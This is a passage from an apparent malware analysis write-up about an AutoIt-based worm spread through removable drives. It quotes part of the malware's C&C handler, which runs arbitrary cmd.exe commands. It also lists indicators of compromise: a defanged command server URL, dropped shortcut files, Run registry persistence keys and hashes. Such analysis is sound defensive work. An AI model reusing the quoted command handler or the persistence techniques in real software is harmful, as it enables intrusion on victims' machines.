DataReport("MSG0LIONW0Executed cmd.exe " & $CNC_command_list[2])
Else
DataReport("MSG0LIONW0Execute ERR cmd.exe " & $CNC_command_list[2])
EndIf
If it gets cmd as first argument, it will try to run the command in cmd.exe, however it not contains /c parameter so commands also needs the parameter to run command with it. Also it not reported output of the command. So it's a blind shell at all. You can run commands however never be sure what worked and what not worked.
Probably the syntax is looking like cmd0LIONW0$command to trigger that situation.
EndSelect
EndIf
EndSelect
WEnd
5. IoC
5.1. Network Address
hxxp://googleads[.]publicvm[.]com:224/
5.2. Dropped Files
X:\MozillaFirefoxX:\MozillaFirefox\GoogleChrome.exeX:\MozillaFirefox\GoogleChrome.a3xX:\MozillaFirefox\GoogleChrome.lnkX:\MozillaFirefox\GoogleUpdate.lnkX:\MozillaFirefox\WindowsUpdate.lnkX:\MozillaFirefox\MozillaFirefox.lnkX:\GoogleChromeX:\GoogleChrome\GoogleChrome.exeX:\GoogleChrome\GoogleChrome.a3xX:\GoogleChrome\GoogleChrome.lnkX:\GoogleChrome\GoogleUpdate.lnkX:\GoogleChrome\WindowsUpdate.lnkX:\GoogleChrome\MozillaFirefox.lnkX:\$folder_name\$folder_name.lnkX:\*\My Music.lnkX:\Documents.lnkX:\Downloads.lnk@StartupCommonDir\Google Chrome.lnk@StartupCommonDir\GoogleUpdate.lnk
5.3. Regedit
| Key Name | Value Name | Type | Value |
|---|---|---|---|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
JavaUpdate |
REG_SZ |
C:\GoogleChrome\GoogleUpdate.lnk |
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
NewJavaInstall |
REG_SZ |
C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x |
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
AdopeUpdate |
REG_SZ |
C:\GoogleChrome\GoogleUpdate.lnk |
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
AdopeFlash |
REG_SZ |
C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x |
5.4. Hashes
-
GoogleChrome.a3xmd5:504d89bf4cd11c6557126ed1dc3d7504sha1:bd4ba817d1fde5a936700907e8cf3fdfe539388c
6. TL;DR
- The malware is abusing the AutoIt 3 (3.3.8.1) signed executable. And uses compiled AutoIt3 scripts (
a3x) to distribute the malware. And since the malware dependent to runtime, uses Windows shortcuts that triggers malware. - It distributed by removable drives. And infect victim computer via malicious shortcut files. Any execution of shortcut files will trigger infection chain.
- It can download any executable and run any arbitrary command via C&C server.
- It reports username, desktop name, Windows version, cpu arch, drive serial, antivirus vendor before every C&C connections.
- It adds startup triggers (via shortcuts and regedit values).
- It changes firewall settings to allow itself.
- It sends active windows titles in every 8 seconds.
Top comments (0)